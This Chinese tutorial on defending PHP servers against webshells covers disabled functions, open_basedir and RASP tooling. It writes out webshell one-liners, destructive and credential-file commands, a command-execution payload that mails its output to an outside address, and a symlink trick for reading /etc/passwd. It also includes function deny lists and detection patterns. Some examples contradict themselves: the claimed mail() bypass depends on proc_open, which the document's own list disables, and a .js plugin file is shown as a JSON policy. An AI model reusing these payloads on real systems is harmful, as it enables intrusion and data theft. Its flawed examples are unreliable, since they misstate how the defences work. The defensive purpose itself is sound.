PHP WebShell与代码执行:防御体系构建
各位朋友,大家好!今天我将和大家探讨一个Web安全领域中非常关键的话题:PHP WebShell与代码执行的防范。WebShell,顾名思义,就是Web服务器的后门,攻击者利用它可以在服务器上执行任意代码,获取敏感信息,甚至完全控制服务器。代码执行漏洞则是允许攻击者通过某种方式,在服务器上执行非预期的代码。两者经常结合出现,构成对Web应用安全的重大威胁。
本次讲座,我们将围绕以下三个核心方面展开:
- 禁用高危函数:从源头上切断部分攻击途径。
open_basedir限制:限制PHP脚本可访问的文件范围。- RASP防护体系:利用运行时应用自我保护技术,实时检测并阻止恶意代码执行。
一、禁用高危函数:釜底抽薪的策略
PHP提供了一些功能强大的函数,但同时也存在一些高危函数,如果使用不当,很容易被攻击者利用执行恶意代码。禁用这些函数是预防WebShell和代码执行攻击的第一道防线。
1.1 常见高危函数
| 函数名称 | 风险描述 | 示例利用方式 |
|---|---|---|
eval() |
将字符串作为PHP代码执行,是WebShell利用的常见入口。 | eval($_POST['cmd']); // 通过POST请求传递恶意代码执行。 |
system() |
执行外部系统命令。 | system('rm -rf /'); // 删除服务器所有文件(危险!)。 |
exec() |
执行外部程序。 | exec('whoami', $output); // 获取当前用户。攻击者可以通过修改输入来执行其他命令。 |
shell_exec() |
通过shell环境执行命令,并返回完整的输出字符串。 | shell_exec('ls -l'); // 列出当前目录的文件。攻击者可以通过修改输入来执行其他命令。 |
passthru() |
执行外部程序并显示原始输出。 | passthru('cat /etc/passwd'); // 显示/etc/passwd文件内容,泄露用户信息。攻击者可以通过修改输入来执行其他命令。 |
proc_open() |
执行一个命令,并且打开用来输入/输出的文件指针。 | $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open('ls -l', $descriptorspec, $pipes); fwrite($pipes[0], 'input'); fclose($pipes[0]); echo stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($process); // 可以执行任意系统命令。 |
popen() |
打开一个指向进程的管道,用于执行系统命令。 | $fp = popen('whoami', 'r'); echo fread($fp, 1024); pclose($fp); // 获取当前用户。攻击者可以通过修改输入来执行其他命令。 |
assert() |
如果断言是字符串,它将会被 eval() 执行。 |
assert($_POST['cmd']); // 通过POST请求传递恶意代码执行。 |
create_function() |
创建一个匿名函数。 | $func = create_function('', $_POST['code']); $func(); // 通过POST请求传递恶意代码执行。 |
pcntl_exec() |
在当前进程空间执行指定的程序。 需要安装pcntl扩展,很多服务器默认不安装。 | pcntl_exec('/bin/bash', array('-c', $_POST['cmd'])); // 通过POST请求传递恶意代码执行。 |
include/require |
包含文件,如果文件路径可控,可能包含恶意文件。 | include($_GET['file']); // 通过GET请求传递文件路径,如果攻击者可以控制$_GET['file'],就可以包含恶意文件。 |
unserialize() |
反序列化对象。如果对象包含可执行代码,反序列化时会被执行,是PHP反序列化漏洞的入口。 | unserialize($_POST['data']); // 通过POST请求传递序列化的恶意对象。 |
ReflectionFunction::invoke |
反射调用函数,允许执行任意函数。 | $reflection = new ReflectionFunction('system'); $reflection->invoke($_POST['cmd']); // 通过POST请求传递恶意代码执行。 |
1.2 禁用方法
在 php.ini 文件中,使用 disable_functions 指令可以禁用这些高危函数。
disable_functions = eval,system,exec,shell_exec,passthru,proc_open,popen,assert,create_function,pcntl_exec
注意:
- 修改
php.ini文件后,需要重启Web服务器(如Apache或Nginx)才能生效。 - 禁用函数会影响依赖这些函数的应用功能,需要仔细评估后再进行禁用。如果某些函数必须使用,应采取严格的输入验证和权限控制措施。
- 在某些情况下,攻击者可能会利用其他函数绕过禁用限制,例如使用
Reflection类调用被禁用的函数。因此,除了禁用函数,还需要采取其他安全措施。
1.3 绕过禁用函数的手段与防范
攻击者往往会尝试绕过 disable_functions 的限制。常见的绕过手段包括:
- LD_PRELOAD: 通过设置
LD_PRELOAD环境变量,加载恶意共享库,覆盖或劫持PHP的函数调用。- 防范: 限制
LD_PRELOAD的使用。通常情况下,Web服务器用户不应该具有设置环境变量的权限。可以使用安全策略限制用户权限,例如使用AppArmor或SELinux。
- 防范: 限制
- com组件: 利用COM组件执行系统命令。
- 防范: 禁用COM组件,或者限制COM组件的访问权限。
- ImageMagick: 利用 ImageMagick 的漏洞执行命令。
- 防范: 升级 ImageMagick 到最新版本,禁用ImageMagick的
imagick.ini配置文件中的policy.xml中的高危操作,例如coder="URL",coder="HTTPS",coder="MVG"等。
- 防范: 升级 ImageMagick 到最新版本,禁用ImageMagick的
- FFI扩展: 利用FFI(Foreign Function Interface)扩展,直接调用C代码。
- 防范: 禁用FFI扩展,或者限制FFI扩展的使用。
- 利用未被禁用的函数组合: 攻击者可能会利用多个未被禁用的函数组合起来,达到执行任意代码的目的。例如,可以使用
scandir读取目录内容,然后使用file_get_contents读取文件内容,再使用base64_decode解码内容,最后使用include或require包含解码后的文件。- 防范: 除了禁用高危函数,还需要加强输入验证和权限控制,防止攻击者利用未被禁用的函数组合起来执行恶意代码。
1.4 示例:绕过 disable_functions 的 payload
假设 system() 函数被禁用,但 mail() 函数可用,且目标服务器存在漏洞,允许通过 mail() 函数执行命令。攻击者可以构造如下 payload:
<?php
$cmd = $_GET['cmd'];
$output = '';
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open("/bin/bash -c '$cmd'", $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$error = stream_get_contents($pipes[2]);
fclose($pipes[2]);
$return_value = proc_close($process);
}
mail("[email protected]", "Subject", $output, "From: [email protected]"); // 利用 mail() 函数发送命令执行结果。
?>
这个例子展示了即使禁用了 system() 函数,攻击者仍然可能通过其他方式执行命令。 因此,仅仅依赖禁用函数是不够的,必须结合其他安全措施。
二、open_basedir 限制:构建文件系统安全屏障
open_basedir 是一个PHP配置指令,用于限制PHP脚本能够访问的文件目录。它可以有效地防止WebShell读取或修改敏感文件,例如配置文件、数据库文件等。
2.1 配置 open_basedir
在 php.ini 文件中,设置 open_basedir 指令。
open_basedir = /var/www/html:/tmp
上述配置表示PHP脚本只能访问 /var/www/html 目录和 /tmp 目录下的文件。 多个目录之间使用冒号 : 分隔。
2.2 .htaccess 中的 open_basedir
如果使用Apache服务器,也可以在 .htaccess 文件中设置 open_basedir。
php_value open_basedir "/var/www/html:/tmp"
2.3 注意事项
open_basedir限制的是PHP脚本可以访问的目录,而不是文件。即使设置了open_basedir,PHP脚本仍然可以读取和修改open_basedir目录下的任何文件,只要有相应的权限。open_basedir限制的是PHP脚本通过文件系统函数(如fopen()、file_get_contents()、include()、require()等)访问的文件。 直接通过URL访问文件不受open_basedir限制。- 如果
open_basedir设置不当,可能会导致某些应用功能无法正常工作。例如,如果应用需要访问/var/www/data目录下的文件,但open_basedir没有包含该目录,应用将无法正常读取这些文件。 open_basedir可以被绕过。例如,攻击者可以使用symlink创建符号链接,将open_basedir之外的文件链接到open_basedir目录下的一个文件,然后通过访问这个符号链接来访问open_basedir之外的文件。
2.4 示例:绕过 open_basedir 的手段与防范
以下是一些绕过 open_basedir 的常见手段:
- 利用
symlink: 创建符号链接,指向open_basedir之外的文件。- 防范: 禁用
symlink()函数,或者限制创建符号链接的权限。
- 防范: 禁用
- 利用
glob://协议:glob://协议允许匹配多个文件,可以用来读取open_basedir之外的文件。- 防范: 禁用
glob://协议,或者限制glob()函数的使用。
- 防范: 禁用
- 利用
phar://协议:phar://协议允许访问phar压缩包中的文件,可以用来读取open_basedir之外的文件。- 防范: 禁用
phar://协议,或者限制phar扩展的使用。
- 防范: 禁用
- 利用
zip://协议:zip://协议允许访问zip压缩包中的文件,可以用来读取open_basedir之外的文件。- 防范: 禁用
zip://协议,或者限制zip扩展的使用。
- 防范: 禁用
- 利用Session上传: 通过上传session文件到服务器,然后包含该文件,可以绕过
open_basedir的限制。- 防范: 限制session文件的上传和访问权限。
2.5 示例:利用 symlink 绕过 open_basedir
假设 open_basedir 设置为 /var/www/html:/tmp,攻击者想要读取 /etc/passwd 文件。 他们可以首先在 /tmp 目录下创建一个符号链接,指向 /etc/passwd 文件:
<?php
symlink('/etc/passwd', '/tmp/passwd_link');
echo file_get_contents('/tmp/passwd_link');
?>
由于 /tmp 目录在 open_basedir 范围内,因此 file_get_contents() 函数可以访问 /tmp/passwd_link 文件,从而读取 /etc/passwd 文件的内容。
2.6 open_basedir 的最佳实践
- 将
open_basedir设置为Web应用的根目录,以及应用需要访问的临时目录。 - 避免将
open_basedir设置为/,这将失去open_basedir的意义。 - 定期检查
open_basedir的配置,确保其符合应用的安全需求。 - 结合其他安全措施,例如禁用高危函数、加强输入验证和权限控制,防止攻击者绕过
open_basedir。
三、RASP防护体系:运行时应用自我保护
RASP (Runtime Application Self-Protection) 是一种安全技术,它将安全防护嵌入到应用程序内部,在应用程序运行时实时检测并阻止恶意代码执行。与传统的Web应用防火墙(WAF)相比,RASP具有更高的准确性和更低的误报率。
3.1 RASP 的工作原理
RASP通过Hook PHP的底层函数,例如文件系统函数、数据库函数、命令执行函数等,拦截应用程序对这些函数的调用,并对调用参数进行分析,判断是否存在恶意行为。如果检测到恶意行为,RASP可以阻止函数的执行,从而防止攻击。
3.2 RASP 的优势
- 实时防护: RASP在应用程序运行时实时检测并阻止恶意代码执行,可以有效地防止WebShell和代码执行攻击。
- 高准确性: RASP通过分析函数调用参数,可以准确地判断是否存在恶意行为,减少误报。
- 低误报率: RASP部署在应用程序内部,可以获取更多的上下文信息,减少误报。
- 无需修改代码: RASP通常以插件或扩展的形式安装,无需修改应用程序的代码。
- 自适应性: RASP可以根据应用程序的运行环境和安全需求进行自适应调整。
3.3 常见的 RASP 产品
- OpenRASP: 由百度安全开源的 RASP 产品,支持PHP、Java等多种语言。
- Cloudwalker RASP: 商业 RASP 产品,提供全面的安全防护功能。
- Imperva RASP: 商业 RASP 产品,集成在Imperva的Web安全解决方案中。
3.4 OpenRASP 的使用示例
以下是一个使用 OpenRASP 防护PHP WebShell的示例:
-
安装 OpenRASP PHP 扩展:
wget https://packages.baidu.com/app/openrasp/release/php/openrasp-php-linux-v1.5.0.tgz # 下载OpenRASP PHP扩展 tar -zxvf openrasp-php-linux-v1.5.0.tgz cd openrasp-php-linux-v1.5.0 phpize ./configure make && make install -
配置
php.ini文件:extension=openrasp.so openrasp.root_dir=/opt/rasp # 设置OpenRASP的根目录 -
创建 OpenRASP 根目录:
mkdir /opt/rasp chown -R www-data:www-data /opt/rasp # 修改目录权限 -
重启 Web 服务器:
sudo service apache2 restart -
配置 OpenRASP 策略:
OpenRASP 使用 JSON 格式的策略文件来定义安全规则。 例如,可以创建一个名为
plugins/official.js的策略文件,用于检测和阻止WebShell:{ "plugins": { "webshell_check": { "algorithm": "bayesian_network", "policy": { "min_score": 0.8, "features": [ "base64_decode", "eval", "system", "exec", "shell_exec", "passthru" ] }, "action": "block" } } }这个策略定义了一个名为
webshell_check的插件,使用贝叶斯网络算法来检测WebShell。 如果检测到包含base64_decode、eval、system等高危函数的代码,且评分超过 0.8,则会阻止代码的执行。
3.5 RASP 的局限性
- 性能开销: RASP需要在应用程序运行时进行实时检测,可能会带来一定的性能开销。
- 兼容性问题: RASP需要与应用程序的运行环境和框架兼容,可能会出现兼容性问题。
- 绕过风险: 攻击者可能会尝试绕过 RASP 的检测,例如使用混淆技术、加密技术等。
- 需要专业知识: 配置和维护 RASP 需要一定的安全专业知识。
3.6 RASP 的最佳实践
- 选择适合应用程序的 RASP 产品。
- 仔细配置 RASP 策略,确保其能够有效地检测和阻止恶意代码执行,同时减少误报。
- 定期更新 RASP 插件和规则,以应对新的攻击手段。
- 监控 RASP 的运行状态,及时处理安全事件。
- 结合其他安全措施,例如禁用高危函数、加强输入验证和权限控制,构建全面的安全防护体系。
四、构建更完善的防御体系
仅仅依靠禁用高危函数、open_basedir 限制和 RASP 是不够的。一个完善的防御体系需要包含以下几个方面:
- 输入验证: 对所有用户输入进行严格的验证,防止SQL注入、XSS等攻击。
- 权限控制: 限制用户的权限,避免用户执行不必要的操作。
- 代码审计: 定期进行代码审计,发现潜在的安全漏洞。
- 安全更新: 及时更新Web服务器、PHP版本和应用框架,修复已知的安全漏洞。
- 安全日志: 记录Web服务器和应用程序的安全日志,以便进行安全分析和事件响应。
- 漏洞扫描: 定期使用漏洞扫描工具扫描Web应用,发现潜在的安全漏洞。
- 渗透测试: 定期进行渗透测试,模拟攻击者的行为,发现Web应用的弱点。
几句总结
本次讲座我们深入探讨了PHP WebShell和代码执行的防范策略,涵盖了禁用高危函数、open_basedir 限制以及 RASP 防护体系。 这些技术手段能够有效地提升Web应用的安全防护能力,降低被攻击的风险。